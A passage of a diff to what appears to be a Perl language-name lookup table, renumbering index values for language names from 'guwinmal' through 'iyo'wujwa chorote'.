+      q(2688),
       q(0),
       ],
    q(guwinmal) => [
-      q(7330),
+      q(7333),
       q(1),
       ],
    q(guya) => [
-      q(2533),
+      q(2535),
       q(0),
       ],
    q(guyanese creole english) => [
-      q(2699),
+      q(2701),
       q(0),
       ],
    q(guyani) => [
-      q(2673),
+      q(2675),
       q(0),
       ],
    q(gvoko) => [
-      q(4843),
+      q(4845),
       q(0),
       ],
    q(gwa) => [
-      q(2675),
+      q(2677),
       q(0),
       ],
    q(gwahatike) => [
-      q(1936),
+      q(1937),
       q(0),
       ],
    q(gwak) => [
-      q(3083),
+      q(3085),
       q(0),
       ],
    q(gwamhi-wuri) => [
-      q(1161),
+      q(1162),
       q(0),
       ],
    q(gwandara) => [
-      q(2683),
+      q(2685),
       q(0),
       ],
    q(gweda) => [
-      q(2624),
+      q(2626),
       q(0),
       ],
    q(gweno) => [
-      q(2678),
+      q(2680),
       q(0),
       ],
    q(gwere) => [
-      q(2684),
+      q(2686),
       q(0),
       ],
    q(gwi) => [
-      q(2681),
+      q(2683),
       q(1),
       ],
    q(gwich'in) => [
-      q(0168),
+      q(0169),
       q(0),
       ],
    q(gyele) => [
-      q(2696),
+      q(2698),
       q(0),
       ],
    q(gyem) => [
-      q(2693),
+      q(2695),
       q(0),
       ],
    q(ha) => [
-      q(2720),
+      q(2722),
       q(0),
       ],
    q(habu) => [
-      q(2731),
+      q(2733),
       q(0),
       ],
    q(hadiyya) => [
-      q(2736),
+      q(2738),
       q(0),
       ],
    q(hadothi) => [
-      q(2812),
+      q(2814),
       q(0),
       ],
    q(hadrami) => [
-      q(7336),
+      q(7339),
       q(0),
       ],
    q(hadrami arabic) => [
-      q(0998),
+      q(0999),
       q(0),
       ],
    q(hadza) => [
-      q(2844),
+      q(2846),
       q(0),
       ],
    q(haeke) => [
-      q(0628),
+      q(0629),
       q(0),
       ],
    q(hahon) => [
-      q(2712),
+      q(2714),
       q(0),
       ],
    q(hai//om) => [
-      q(2743),
+      q(2745),
       q(0),
       ],
    q(haida) => [
-      q(0169),
+      q(0170),
       q(0),
       ],
    q(haigwai) => [
-      q(2744),
+      q(2746),
       q(0),
       ],
    q(haiom) => [
-      q(2743),
+      q(2745),
       q(1),
       ],
    q(haiphong sign language) => [
-      q(2710),
+      q(2712),
       q(0),
       ],
    q(haisla) => [
-      q(2722),
+      q(2724),
       q(0),
       ],
    q(haitian) => [
-      q(0170),
+      q(0171),
       q(0),
       ],
    q(haitian creole) => [
-      q(0170),
+      q(0171),
       q(1),
       ],
    q(haitian vodoun culture language) => [
-      q(2870),
+      q(2872),
       q(0),
       ],
    q(haji) => [
-      q(2761),
+      q(2763),
       q(0),
       ],
    q(hajong) => [
-      q(2713),
+      q(2715),
       q(0),
       ],
    q(haka chin) => [
-      q(1795),
+      q(1796),
       q(1),
       ],
    q(hakha chin) => [
-      q(1795),
+      q(1796),
       q(0),
       ],
    q(hakka chinese) => [
-      q(2714),
+      q(2716),
       q(0),
       ],
    q(hako) => [
-      q(2718),
+      q(2720),
       q(0),
       ],
    q(halang) => [
-      q(2715),
+      q(2717),
       q(0),
       ],
    q(halang doan) => [
-      q(2768),
+      q(2770),
       q(0),
       ],
    q(halbi) => [
-      q(2767),
+      q(2769),
       q(0),
       ],
    q(halh mongolian) => [
-      q(3337),
+      q(3338),
       q(0),
       ],
    q(halia) => [
-      q(2766),
+      q(2768),
       q(0),
       ],
    q(halkomelem) => [
-      q(2861),
+      q(2863),
       q(0),
       ],
    q(hamap) => [
-      q(2790),
+      q(2792),
       q(0),
       ],
    q(hamba) => [
-      q(2727),
+      q(2729),
       q(0),
       ],
    q(hamea) => [
-      q(1736),
+      q(1737),
       q(1),
       ],
    q(hamer-banna) => [
-      q(0770),
+      q(0771),
       q(0),
       ],
    q(hamtai) => [
-      q(2789),
+      q(2791),
       q(0),
       ],
    q(han) => [
-      q(2705),
+      q(2707),
       q(0),
       ],
    q(hanga) => [
-      q(2711),
+      q(2713),
       q(0),
       ],
    q(hanga hundi) => [
-      q(7193),
+      q(7195),
       q(0),
       ],
    q(hangaza) => [
-      q(2717),
+      q(2719),
       q(0),
       ],
    q(hani) => [
-      q(2799),
+      q(2801),
       q(0),
       ],
    q(hano) => [
@@ -34129,35 +34167,35 @@
       q(0),
       ],
    q(hanoi sign language) => [
-      q(2706),
+      q(2708),
       q(0),
       ],
    q(hanunoo) => [
-      q(2801),
+      q(2803),
       q(0),
       ],
    q(harami) => [
-      q(7334),
+      q(7337),
       q(0),
       ],
    q(harari) => [
-      q(2721),
+      q(2723),
       q(0),
       ],
    q(harijan kinnauri) => [
-      q(3388),
+      q(3389),
       q(0),
       ],
    q(haroi) => [
-      q(2831),
+      q(2833),
       q(0),
       ],
    q(haroti) => [
-      q(2812),
+      q(2814),
       q(1),
       ],
    q(harsusi) => [
-      q(2841),
+      q(2843),
       q(0),
       ],
    q(haruai) => [
@@ -34165,99 +34203,99 @@
       q(0),
       ],
    q(haruku) => [
-      q(2829),
+      q(2831),
       q(0),
       ],
    q(haryanvi) => [
-      q(1163),
+      q(1164),
       q(0),
       ],
    q(harzani) => [
-      q(2837),
+      q(2839),
       q(0),
       ],
    q(hasha) => [
-      q(7586),
+      q(7589),
       q(0),
       ],
    q(hassaniyya) => [
-      q(4214),
+      q(4215),
       q(0),
       ],
    q(hatam) => [
-      q(2708),
+      q(2710),
       q(0),
       ],
    q(hattic) => [
-      q(7339),
+      q(7342),
       q(0),
       ],
    q(hausa) => [
-      q(0171),
+      q(0172),
       q(0),
       ],
    q(hausa sign language) => [
-      q(2839),
+      q(2841),
       q(0),
       ],
    q(havasupai-walapai-yavapai) => [
-      q(7749),
+      q(7752),
       q(0),
       ],
    q(haveke) => [
-      q(2872),
+      q(2874),
       q(0),
       ],
    q(havu) => [
-      q(2723),
+      q(2725),
       q(0),
       ],
    q(hawai'i creole english) => [
-      q(2876),
+      q(2878),
       q(0),
       ],
    q(hawai'i pidgin) => [
-      q(2876),
+      q(2878),
       q(1),
       ],
    q(hawai'i pidgin sign language) => [
-      q(2825),
+      q(2827),
       q(1),
       ],
    q(hawai'i sign language (hsl)) => [
-      q(2825),
+      q(2827),
       q(0),
       ],
    q(hawaiian) => [
-      q(0172),
+      q(0173),
       q(0),
       ],
    q(haya) => [
-      q(2725),
+      q(2727),
       q(0),
       ],
    q(hazaragi) => [
-      q(2726),
+      q(2728),
       q(0),
       ],
    q(hdi) => [
-      q(7313),
+      q(7316),
       q(0),
       ],
    q(hebrew) => [
-      q(0173),
+      q(0174),
       q(0),
       ],
    q(hehe) => [
-      q(2740),
+      q(2742),
       q(0),
       ],
    q(heiban) => [
-      q(2729),
+      q(2731),
       q(0),
       ],
    q(heiltsuk) => [
-      q(2741),
+      q(2743),
       q(0),
       ],
    q(helambu sherpa) => [
@@ -34265,23 +34303,23 @@
       q(0),
       ],
    q(helong) => [
-      q(2739),
+      q(2741),
       q(0),
       ],
    q(hema) => [
-      q(4893),
+      q(4895),
       q(0),
       ],
    q(hemba) => [
-      q(2742),
+      q(2744),
       q(0),
       ],
    q(herde) => [
-      q(2738),
+      q(2740),
       q(0),
       ],
    q(herero) => [
-      q(0174),
+      q(0175),
       q(0),
       ],
    q(hermit) => [
@@ -34289,59 +34327,59 @@
       q(0),
       ],
    q(hernican) => [
-      q(7338),
+      q(7341),
       q(0),
       ],
    q(hertevin) => [
-      q(2833),
+      q(2835),
       q(0),
       ],
    q(heung kong sau yue) => [
-      q(2765),
+      q(2767),
       q(1),
       ],
    q(hewa) => [
-      q(2716),
+      q(2718),
       q(0),
       ],
    q(heyo) => [
-      q(0941),
+      q(0942),
       q(0),
       ],
    q(hiberno-scottish gaelic) => [
-      q(2499),
+      q(2500),
       q(0),
       ],
    q(hibito) => [
-      q(2749),
+      q(2751),
       q(0),
       ],
    q(hidatsa) => [
-      q(2750),
+      q(2752),
       q(0),
       ],
    q(hieroglyphic luwian) => [
-      q(2771),
+      q(2773),
       q(0),
       ],
    q(higaonon) => [
-      q(4119),
+      q(4120),
       q(0),
       ],
    q(highland konjo) => [
-      q(3384),
+      q(3385),
       q(0),
       ],
    q(highland oaxaca chontal) => [
-      q(1716),
+      q(1717),
       q(0),
       ],
    q(highland popoluca) => [
-      q(5551),
+      q(5555),
       q(0),
       ],
    q(highland puebla nahuatl) => [
-      q(1021),
+      q(1022),
       q(0),
       ],
    q(highland totonac) => [
@@ -34349,55 +34387,55 @@
       q(0),
       ],
    q(hijazi arabic) => [
-      q(0600),
+      q(0601),
       q(0),
       ],
    q(hijuk) => [
-      q(2755),
+      q(2757),
       q(0),
       ],
    q(hiligaynon) => [
-      q(0175),
+      q(0176),
       q(0),
       ],
    q(himachali languages) => [
-      q(0176),
+      q(0177),
       q(0),
       ],
    q(himarima) => [
-      q(2758),
+      q(2760),
       q(0),
       ],
    q(hindi) => [
-      q(0177),
+      q(0178),
       q(0),
       ],
    q(hinduri) => [
-      q(2754),
+      q(2756),
       q(0),
       ],
    q(hinukh) => [
-      q(2516),
+      q(2518),
       q(0),
       ],
    q(hiri motu) => [
-      q(0180),
+      q(0181),
       q(0),
       ],
    q(hittite) => [
-      q(0178),
+      q(0179),
       q(0),
       ],
    q(hitu) => [
-      q(2845),
+      q(2847),
       q(0),
       ],
    q(hiw) => [
-      q(2759),
+      q(2761),
       q(0),
       ],
    q(hixkaryana) => [
-      q(2760),
+      q(2762),
       q(0),
       ],
    q(hlai) => [
@@ -34405,227 +34443,227 @@
       q(0),
       ],
    q(hlepho phowa) => [
-      q(7626),
+      q(7629),
       q(0),
       ],
    q(hlersu) => [
-      q(2769),
+      q(2771),
       q(0),
       ],
    q(hmar) => [
-      q(2787),
+      q(2789),
       q(0),
       ],
    q(hmong) => [
-      q(0179),
+      q(0180),
       q(0),
       ],
    q(hmong daw) => [
-      q(4635),
+      q(4636),
       q(0),
       ],
    q(hmong do) => [
-      q(2791),
+      q(2793),
       q(0),
       ],
    q(hmong don) => [
-      q(2777),
+      q(2779),
       q(0),
       ],
    q(hmong njua) => [
-      q(2800),
+      q(2802),
       q(0),
       ],
    q(hmong shua) => [
-      q(2794),
+      q(2796),
       q(0),
       ],
    q(hmong-mien languages) => [
-      q(0509),
+      q(0510),
       q(0),
       ],
    q(hmwaveke) => [
-      q(4507),
+      q(4508),
       q(0),
       ],
    q(ho) => [
-      q(2807),
+      q(2809),
       q(0),
       ],
    q(ho chi minh city sign language) => [
-      q(2818),
+      q(2820),
       q(0),
       ],
    q(ho-chunk) => [
-      q(7122),
+      q(7124),
       q(0),
       ],
    q(hoava) => [
-      q(2805),
+      q(2807),
       q(0),
       ],
    q(hobyot) => [
-      q(2810),
+      q(2812),
       q(0),
       ],
    q(hoia hoia) => [
-      q(2745),
+      q(2747),
       q(0),
       ],
    q(hokan languages) => [
-      q(0510),
+      q(0511),
       q(0),
       ],
    q(holikachuk) => [
-      q(2811),
+      q(2813),
       q(0),
       ],
    q(holiya) => [
-      q(2822),
+      q(2824),
       q(0),
       ],
    q(holma) => [
-      q(2808),
+      q(2810),
       q(0),
       ],
    q(holoholo) => [
-      q(2815),
+      q(2817),
       q(0),
       ],
    q(holu) => [
-      q(2813),
+      q(2815),
       q(0),
       ],
    q(homa) => [
-      q(2814),
+      q(2816),
       q(0),
       ],
    q(honduras sign language) => [
-      q(2735),
+      q(2737),
       q(0),
       ],
    q(hone) => [
-      q(3148),
+      q(3150),
       q(0),
       ],
    q(hong kong sign language) => [
-      q(2765),
+      q(2767),
       q(0),
       ],
    q(honi) => [
-      q(2821),
+      q(2823),
       q(0),
       ],
    q(hopi) => [
-      q(2816),
+      q(2818),
       q(0),
       ],
    q(horned miao) => [
-      q(2830),
+      q(2832),
       q(0),
       ],
    q(horo) => [
-      q(2817),
+      q(2819),
       q(0),
       ],
    q(horom) => [
-      q(2809),
+      q(2811),
       q(0),
       ],
    q(horpa) => [
-      q(2281),
+      q(2282),
       q(0),
       ],
    q(hote) => [
-      q(2819),
+      q(2821),
       q(0),
       ],
    q(hoti) => [
-      q(2842),
+      q(2844),
       q(0),
       ],
    q(hovongan) => [
-      q(2820),
+      q(2822),
       q(0),
       ],
    q(hoyahoya) => [
-      q(2747),
+      q(2749),
       q(0),
       ],
    q(hozo) => [
-      q(2823),
+      q(2825),
       q(0),
       ],
    q(hpon) => [
-      q(2824),
+      q(2826),
       q(0),
       ],
    q(hrangkhol) => [
-      q(2826),
+      q(2828),
       q(0),
       ],
    q(hre) => [
-      q(2828),
+      q(2830),
       q(0),
       ],
    q(hruso) => [
-      q(2834),
+      q(2836),
       q(0),
       ],
    q(hu) => [
-      q(2859),
+      q(2861),
       q(0),
       ],
    q(hua) => [
-      q(2848),
+      q(2850),
       q(1),
       ],
    q(huachipaeri) => [
-      q(2852),
+      q(2854),
       q(0),
       ],
    q(huallaga huanuco quechua) => [
-      q(5669),
+      q(5671),
       q(0),
       ],
    q(huamalies-dos de mayo huanuco quechua) => [
-      q(5692),
+      q(5694),
       q(0),
       ],
    q(huambisa) => [
-      q(2847),
+      q(2849),
       q(0),
       ],
    q(huarijio) => [
-      q(6965),
+      q(6966),
       q(0),
       ],
    q(huastec) => [
-      q(2862),
+      q(2864),
       q(0),
       ],
    q(huaulu) => [
-      q(2849),
+      q(2851),
       q(0),
       ],
    q(huautla mazatec) => [
-      q(4114),
+      q(4115),
       q(0),
       ],
    q(huaxcaleca nahuatl) => [
-      q(4865),
+      q(4867),
       q(0),
       ],
    q(huaylas ancash quechua) => [
-      q(5706),
+      q(5708),
       q(0),
       ],
    q(huaylla wanca quechua) => [
-      q(5701),
+      q(5703),
       q(0),
       ],
    q(huba) => [
-      q(2728),
+      q(2730),
       q(0),
       ],
    q(huehuetla tepehua) => [
@@ -34633,131 +34671,131 @@
       q(0),
       ],
    q(huichol) => [
-      q(2733),
+      q(2735),
       q(0),
       ],
    q(huilliche) => [
-      q(2853),
+      q(2855),
       q(0),
       ],
    q(huitepec mixtec) => [
-      q(4657),
+      q(4658),
       q(0),
       ],
    q(huizhou chinese) => [
-      q(1926),
+      q(1927),
       q(0),
       ],
    q(hukumina) => [
-      q(2866),
+      q(2868),
       q(0),
       ],
    q(hula) => [
-      q(2857),
+      q(2859),
       q(0),
       ],
    q(hulaula) => [
-      q(2868),
+      q(2870),
       q(0),
       ],
    q(huli) => [
-      q(2854),
+      q(2856),
       q(0),
       ],
    q(hulung) => [
-      q(2856),
+      q(2858),
       q(0),
       ],
    q(humburi senni songhay) => [
-      q(2773),
+      q(2775),
       q(0),
       ],
    q(humene) => [
-      q(2851),
+      q(2853),
       q(0),
       ],
    q(humla) => [
-      q(2863),
+      q(2865),
       q(0),
       ],
    q(hun-saare) => [
-      q(2166),
+      q(2167),
       q(0),
       ],
    q(hunde) => [
-      q(2763),
+      q(2765),
       q(0),
       ],
    q(hung) => [
-      q(2804),
+      q(2806),
       q(0),
       ],
    q(hungana) => [
-      q(2858),
+      q(2860),
       q(0),
       ],
    q(hungarian) => [
-      q(0183),
+      q(0184),
       q(0),
       ],
    q(hungarian sign language) => [
-      q(2838),
+      q(2840),
       q(0),
       ],
    q(hungworo) => [
-      q(4726),
+      q(4727),
       q(1),
       ],
    q(hunjara-kaina ke) => [
-      q(2764),
+      q(2766),
       q(0),
       ],
    q(hunnic) => [
-      q(7335),
+      q(7338),
       q(0),
       ],
    q(hunsrik) => [
-      q(2836),
+      q(2838),
       q(0),
       ],
    q(hunzib) => [
-      q(2869),
+      q(2871),
       q(0),
       ],
    q(hupa) => [
-      q(0184),
+      q(0185),
       q(0),
       ],
    q(hupde) => [
-      q(3155),
+      q(3157),
       q(0),
       ],
    q(hupla) => [
-      q(2719),
+      q(2721),
       q(0),
       ],
    q(hurrian) => [
-      q(7340),
+      q(7343),
       q(0),
       ],
    q(hutterisch) => [
-      q(2475),
+      q(2476),
       q(1),
       ],
    q(hutterite german) => [
-      q(2475),
+      q(2476),
       q(0),
       ],
    q(hwana) => [
-      q(2877),
+      q(2879),
       q(0),
       ],
    q(hya) => [
-      q(2878),
+      q(2880),
       q(0),
       ],
    q(hyam) => [
-      q(3037),
+      q(3040),
       q(0),
       ],
    q(i'saka) => [
@@ -34765,19 +34803,19 @@
       q(1),
       ],
    q(i-wak) => [
-      q(3024),
+      q(3027),
       q(0),
       ],
    q(iaai) => [
-      q(2879),
+      q(2881),
       q(0),
       ],
    q(iamalele) => [
-      q(7678),
+      q(7681),
       q(0),
       ],
    q(iatmul) => [
-      q(2880),
+      q(2882),
       q(0),
       ],
    q(iau) => [
@@ -34789,187 +34827,187 @@
       q(0),
       ],
    q(ibaloi) => [
-      q(2886),
+      q(2889),
       q(0),
       ],
    q(iban) => [
-      q(0185),
+      q(0186),
       q(0),
       ],
    q(ibanag) => [
-      q(2885),
+      q(2887),
       q(0),
       ],
    q(ibani) => [
-      q(2891),
+      q(2894),
       q(0),
       ],
    q(ibatan) => [
-      q(3022),
+      q(3025),
       q(0),
       ],
    q(iberian) => [
-      q(7342),
+      q(7345),
       q(0),
       ],
    q(ibibio) => [
-      q(2882),
+      q(2884),
       q(0),
       ],
    q(ibino) => [
-      q(2888),
+      q(2891),
       q(0),
       ],
    q(ibu) => [
-      q(2890),
+      q(2893),
       q(0),
       ],
    q(ibuoro) => [
-      q(2889),
+      q(2892),
       q(0),
       ],
    q(icelandic) => [
-      q(0187),
+      q(0188),
       q(0),
       ],
    q(icelandic sign language) => [
-      q(2894),
+      q(2897),
       q(0),
       ],
    q(iceve-maci) => [
-      q(1117),
+      q(1118),
       q(0),
       ],
    q(ida'an) => [
-      q(1956),
+      q(1957),
       q(0),
       ],
    q(idakho-isukha-tiriki) => [
-      q(2896),
+      q(2899),
       q(0),
       ],
    q(idate) => [
-      q(2904),
+      q(2907),
       q(0),
       ],
    q(idere) => [
-      q(2900),
+      q(2903),
       q(0),
       ],
    q(idesa) => [
-      q(2903),
+      q(2906),
       q(0),
       ],
    q(idi) => [
-      q(2901),
+      q(2904),
       q(0),
       ],
    q(ido) => [
-      q(0188),
+      q(0189),
       q(0),
       ],
    q(idoma) => [
-      q(2905),
+      q(2908),
       q(0),
       ],
    q(idon) => [
-      q(2898),
+      q(2901),
       q(0),
       ],
    q(idu-mishmi) => [
-      q(1772),
+      q(1773),
       q(0),
       ],
    q(iduna) => [
-      q(6989),
+      q(6990),
       q(0),
       ],
    q(ife) => [
-      q(2908),
+      q(2911),
       q(0),
       ],
    q(ifo) => [
-      q(2909),
+      q(2912),
       q(0),
       ],
    q(igala) => [
-      q(2917),
+      q(2920),
       q(0),
       ],
    q(igana) => [
-      q(2916),
+      q(2919),
       q(0),
       ],
    q(igbo) => [
-      q(0186),
+      q(0187),
       q(0),
       ],
    q(igede) => [
-      q(2915),
+      q(2918),
       q(0),
       ],
    q(ignaciano) => [
-      q(2919),
+      q(2922),
       q(0),
       ],
    q(igo) => [
-      q(0683),
+      q(0684),
       q(0),
       ],
    q(iguta) => [
-      q(4724),
+      q(4725),
       q(0),
       ],
    q(igwe) => [
-      q(2922),
+      q(2925),
       q(0),
       ],
    q(iha) => [
-      q(2925),
+      q(2928),
       q(0),
       ],
    q(iha based pidgin) => [
-      q(2923),
+      q(2926),
       q(0),
       ],
    q(ihievbe) => [
-      q(2924),
+      q(2927),
       q(0),
       ],
    q(ija-zuba) => [
-      q(6991),
+      q(6992),
       q(0),
       ],
    q(ijo languages) => [
-      q(0190),
+      q(0191),
       q(0),
       ],
    q(ik) => [
-      q(2944),
+      q(2947),
       q(0),
       ],
    q(ika) => [
-      q(2935),
+      q(2938),
       q(0),
       ],
    q(ikaranggal) => [
-      q(2939),
+      q(2942),
       q(0),
       ],
    q(ikizu) => [
-      q(2945),
+      q(2948),
       q(0),
       ],
    q(iko) => [
-      q(2934),
+      q(2937),
       q(0),
       ],
    q(ikobi) => [
-      q(4194),
+      q(4195),
       q(0),
       ],
    q(ikoma-nata-isenye) => [
-      q(5085),
+      q(5089),
       q(0),
       ],
    q(ikpeng) => [
@@ -34977,79 +35015,79 @@
       q(0),
       ],
    q(ikpeshi) => [
-      q(2938),
+      q(2941),
       q(0),
       ],
    q(ikposo) => [
-      q(3532),
+      q(3533),
       q(0),
       ],
    q(iku-gora-ankwa) => [
-      q(2942),
+      q(2945),
       q(0),
       ],
    q(ikulu) => [
-      q(2936),
+      q(2939),
       q(0),
       ],
    q(ikwere) => [
-      q(2943),
+      q(2946),
       q(0),
       ],
    q(ikwo) => [
-      q(2981),
+      q(2984),
       q(0),
       ],
    q(ila) => [
-      q(2947),
+      q(2950),
       q(0),
       ],
    q(ile ape) => [
-      q(2946),
+      q(2949),
       q(0),
       ],
    q(ili turki) => [
-      q(2949),
+      q(2952),
       q(0),
       ],
    q(ili'uun) => [
-      q(2954),
+      q(2957),
       q(0),
       ],
    q(ilianen manobo) => [
-      q(4126),
+      q(4127),
       q(0),
       ],
    q(illyrian) => [
-      q(7344),
+      q(7347),
       q(0),
       ],
    q(iloko) => [
-      q(0193),
+      q(0194),
       q(0),
       ],
    q(ilongot) => [
-      q(2950),
+      q(2953),
       q(0),
       ],
    q(ilue) => [
-      q(2955),
+      q(2958),
       q(0),
       ],
    q(ilwana) => [
-      q(4368),
+      q(4369),
       q(0),
       ],
    q(imbabura highland quichua) => [
-      q(5693),
+      q(5695),
       q(0),
       ],
    q(imbongu) => [
-      q(2960),
+      q(2963),
       q(0),
       ],
    q(imonda) => [
-      q(2959),
+      q(2962),
       q(0),
       ],
    q(imperial aramaic (700-300 bce)) => [
@@ -35057,95 +35095,95 @@
       q(1),
       ],
    q(imroing) => [
-      q(2961),
+      q(2964),
       q(0),
       ],
    q(inabaknon) => [
-      q(0581),
+      q(0582),
       q(0),
       ],
    q(inapang) => [
-      q(4705),
+      q(4706),
       q(0),
       ],
    q(inapari) => [
-      q(2971),
+      q(2974),
       q(0),
       ],
    q(inari sami) => [
-      q(0391),
+      q(0392),
       q(0),
       ],
    q(indian sign language) => [
-      q(2972),
+      q(2975),
       q(0),
       ],
    q(indic languages) => [
-      q(0195),
+      q(0196),
       q(0),
       ],
    q(indo-european languages) => [
-      q(0197),
+      q(0198),
       q(0),
       ],
    q(indo-iranian languages) => [
-      q(0512),
+      q(0513),
       q(0),
       ],
    q(indo-portuguese) => [
-      q(2897),
+      q(2900),
       q(0),
       ],
    q(indonesian) => [
-      q(0196),
+      q(0197),
       q(0),
       ],
    q(indonesian bajau) => [
-      q(1100),
+      q(1101),
       q(0),
       ],
    q(indonesian sign language) => [
-      q(2967),
+      q(2970),
       q(0),
       ],
    q(indri) => [
-      q(2902),
+      q(2905),
       q(0),
       ],
    q(indus kohistani) => [
-      q(4615),
+      q(4616),
       q(0),
       ],
    q(indus valley language) => [
-      q(7348),
+      q(7351),
       q(0),
       ],
    q(inebu one) => [
-      q(5208),
+      q(5212),
       q(0),
       ],
    q(ineseno) => [
-      q(2974),
+      q(2977),
       q(0),
       ],
    q(inga) => [
-      q(2964),
+      q(2967),
       q(0),
       ],
    q(ingrian) => [
-      q(3033),
+      q(3036),
       q(0),
       ],
    q(ingush) => [
-      q(0198),
+      q(0199),
       q(0),
       ],
    q(inlaod itneg) => [
-      q(3008),
+      q(3011),
       q(0),
       ],
    q(inoke-yate) => [
-      q(2970),
+      q(2973),
       q(0),
       ],
    q(inonhan) => [
@@ -35153,219 +35191,219 @@
       q(0),
       ],
    q(inor) => [
-      q(2975),
+      q(2978),
       q(0),
       ],
    q(inpui naga) => [
-      q(4918),
+      q(4920),
       q(0),
       ],
    q(interglossa) => [
-      q(2921),
+      q(2924),
       q(0),
       ],
    q(interlingua (international auxiliary language association)) => [
-      q(0194),
+      q(0195),
       q(0),
       ],
    q(interlingue) => [
-      q(0192),
+      q(0193),
       q(0),
       ],
    q(international sign) => [
-      q(2953),
+      q(2956),
       q(0),
       ],
    q(intha) => [
-      q(2973),
+      q(2976),
       q(0),
       ],
    q(inuinnaqtun) => [
-      q(2941),
+      q(2944),
       q(0),
       ],
    q(inuit sign language) => [
-      q(2940),
+      q(2943),
       q(0),
       ],
    q(inuktitut) => [
-      q(0191),
+      q(0192),
       q(0),
       ],
    q(inupiaq) => [
-      q(0199),
+      q(0200),
       q(0),
       ],
    q(iowa-oto) => [
-      q(2977),
+      q(2980),
       q(0),
       ],
    q(ipalapa amuzgo) => [
-      q(1017),
+      q(1018),
       q(0),
       ],
    q(ipiko) => [
-      q(2979),
+      q(2982),
       q(0),
       ],
    q(ipili) => [
-      q(2978),
+      q(2981),
       q(0),
       ],
    q(ipulo) => [
-      q(0902),
+      q(0903),
       q(0),
       ],
    q(iquito) => [
-      q(2980),
+      q(2983),
       q(0),
       ],
    q(ir) => [
-      q(2987),
+      q(2990),
       q(0),
       ],
    q(iranian languages) => [
-      q(0200),
+      q(0201),
       q(0),
       ],
    q(iranian persian) => [
-      q(5410),
+      q(5414),
       q(0),
       ],
    q(irantxe) => [
-      q(2986),
+      q(2989),
       q(0),
       ],
    q(iranun (malaysia)) => [
-      q(2951),
+      q(2954),
       q(0),
       ],
    q(iranun (philippines)) => [
-      q(2952),
+      q(2955),
       q(0),
       ],
    q(iraqw) => [
-      q(2985),
+      q(2988),
       q(0),
       ],
    q(irarutu) => [
-      q(2983),
+      q(2986),
       q(0),
       ],
    q(iraya) => [
-      q(2990),
+      q(2993),
       q(0),
       ],
    q(iresim) => [
-      q(2982),
+      q(2985),
       q(0),
       ],
    q(irigwe) => [
-      q(2984),
+      q(2987),
       q(0),
       ],
    q(irish) => [
-      q(0154),
+      q(0155),
       q(0),
       ],
    q(irish sign language) => [
-      q(2995),
+      q(2998),
       q(0),
       ],
    q(irish, middle (900-1200)) => [
-      q(0278),
+      q(0279),
       q(0),
       ],
    q(irish, old (to 900)) => [
-      q(0377),
+      q(0378),
       q(0),
       ],
    q(iroquoian languages) => [
-      q(0201),
+      q(0202),
       q(0),
       ],
    q(irula) => [
-      q(2988),
+      q(2991),
       q(0),
       ],
    q(isabi) => [
-      q(2991),
+      q(2994),
       q(0),
       ],
    q(isanzu) => [
-      q(3000),
+      q(3003),
       q(0),
       ],
    q(isarog agta) => [
-      q(0662),
+      q(0663),
       q(0),
       ],
    q(isconahua) => [
-      q(2992),
+      q(2995),
       q(0),
       ],
    q(isebe) => [
-      q(2920),
+      q(2923),
       q(0),
       ],
    q(isekiri) => [
-      q(3014),
+      q(3017),
       q(0),
       ],
    q(ishkashimi) => [
-      q(2998),
+      q(3001),
       q(0),
       ],
    q(isinai) => [
-      q(2969),
+      q(2972),
       q(0),
       ],
    q(isirawa) => [
-      q(6208),
+      q(6207),
       q(0),
       ],
    q(island carib) => [
-      q(1839),
+      q(1840),
       q(0),
       ],
    q(islander creole english) => [
-      q(2895),
+      q(2898),
       q(0),
       ],
    q(isnag) => [
-      q(2993),
+      q(2996),
       q(0),
       ],
    q(isoko) => [
-      q(3001),
+      q(3004),
       q(0),
       ],
    q(israeli sign language) => [
-      q(3002),
+      q(3005),
       q(0),
       ],
    q(isthmus mixe) => [
-      q(4305),
+      q(4306),
       q(0),
       ],
    q(isthmus zapotec) => [
-      q(7795),
+      q(7798),
       q(0),
       ],
    q(isthmus-cosoleacaque nahuatl) => [
-      q(4860),
+      q(4862),
       q(0),
       ],
    q(isthmus-mecayapan nahuatl) => [
-      q(4871),
+      q(4873),
       q(0),
       ],
    q(isthmus-pajapan nahuatl) => [
-      q(4864),
+      q(4866),
       q(0),
       ],
    q(istriot) => [
-      q(3003),
+      q(3006),
       q(0),
       ],
    q(istro romanian) => [
@@ -35377,111 +35415,111 @@
       q(0),
       ],
    q(isu (menchum division)) => [
-      q(3004),
+      q(3007),
       q(0),
       ],
    q(italian) => [
-      q(0202),
+      q(0203),
       q(0),
       ],
    q(italian sign language) => [
-      q(2994),
+      q(2997),
       q(0),
       ],
    q(italic languages) => [
-      q(0513),
+      q(0514),
       q(0),
       ],
    q(itawit) => [
-      q(3016),
+      q(3019),
       q(0),
       ],
    q(itelmen) => [
-      q(3010),
+      q(3013),
       q(0),
       ],
    q(itene) => [
-      q(3007),
+      q(3010),
       q(0),
       ],
    q(iteri) => [
-      q(3013),
+      q(3016),
       q(0),
       ],
    q(itik) => [
-      q(3018),
+      q(3021),
       q(0),
       ],
    q(ito) => [
-      q(3017),
+      q(3020),
       q(0),
       ],
    q(itonama) => [
-      q(3012),
+      q(3015),
       q(0),
       ],
    q(itu mbon uzo) => [
-      q(3011),
+      q(3014),
       q(0),
       ],
    q(itundujia mixtec) => [
-      q(4148),
+      q(4149),
       q(0),
       ],
    q(itza) => [
-      q(3020),
+      q(3023),
       q(0),
       ],
    q(iu mien) => [
-      q(3021),
+      q(3024),
       q(0),
       ],
    q(ivatan) => [
-      q(3023),
+      q(3026),
       q(0),
       ],
    q(ivbie north-okpela-arhe) => [
-      q(0914),
+      q(0915),
       q(0),
       ],
    q(iwaidja) => [
-      q(2883),
+      q(2885),
       q(0),
       ],
    q(iwal) => [
-      q(3192),
+      q(3194),
       q(0),
       ],
    q(iwam) => [
-      q(3025),
+      q(3028),
       q(0),
       ],
    q(iwur) => [
-      q(3026),
+      q(3029),
       q(0),
       ],
    q(ixcatec) => [
-      q(3028),
+      q(3031),
       q(0),
       ],
    q(ixcatlan mazatec) => [
-      q(4693),
+      q(4694),
       q(0),
       ],
    q(ixil) => [
-      q(3029),
+      q(3032),
       q(0),
       ],
    q(ixtayutla mixtec) => [
-      q(7011),
+      q(7012),
       q(0),
       ],
    q(ixtenco otomi) => [
-      q(5324),
+      q(5328),
       q(0),
       ],
    q(iyayu) => [
-      q(3030),
+      q(3033),
       q(0),
       ],
    q(iyive) => [
@@ -35489,203 +35527,203 @@
       q(0),
       ],
    q(iyo) => [
-      q(4753),
+      q(4754),
       q(0),
       ],
    q(iyo'wujwa chorote) => [
-      q(1851),
